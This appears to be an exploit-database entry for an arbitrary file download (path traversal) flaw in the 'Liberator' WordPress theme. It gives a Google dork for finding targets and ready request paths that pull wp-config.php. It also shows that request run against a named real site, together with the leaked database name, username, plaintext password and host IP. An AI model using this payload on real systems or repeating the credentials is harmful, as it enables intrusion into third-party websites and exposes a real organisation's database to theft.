WordPress 5.1.1 Liberator Themes Arbitrary File Download - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1539754 漏洞类型
发布时间 2019-03-18 更新时间 2019-03-18
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019030143
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
############################################################################################

# Exploit Title : WordPress 5.1.1 Liberator Themes Arbitrary File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/03/2019
# Vendor Homepage : wordpress.org ~ televox.com
# Software Information Link : televox.com/website-design/
televox.com/webvox/wp-content/themes/liberator/readme.txt
# Software Affected Version : 4.x - 5.x - 5.1.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:"/wp-content/themes/liberator/inc/"
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################################

# Impact :
***********
* WordPress 5.1.1 Liberator Themes is prone to a vulnerability that lets attackers download arbitrary files because the application 

fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the 

web server process and obtain potentially sensitive informations and it works for open redirection vulnerability. 

* An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized 

to have access to that information. * The software has Relative Path Traversel vulnerability and it uses external input to

construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences 

such as ".." that can resolve to a location that is outside of that directory.

############################################################################################

Vulnerable File =>

/download.php

Vulnerable Parameter => 

?download_file=

# Arbitrary File Download Exploit :
*******************************
/PATH/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

Informations About MySQL Configuration File =>
*******************************************
** The name of the database for WordPress */
define('DB_NAME', '');

/** MySQL database username */
define('DB_USER', '');

/** MySQL database password */
define('DB_PASSWORD', '');

/** MySQL hostname */
define('DB_HOST', '');

############################################################################################

[+] televox.com/webvox/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

** The name of the database for WordPress */
define('DB_NAME', 'wpwestprod');

/** MySQL database username */
define('DB_USER', 'srvwpuser');

/** MySQL database password */
define('DB_PASSWORD', '3ncrypt3d^01');

/** MySQL hostname */
define('DB_HOST', '75.78.178.16');

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

############################################################################################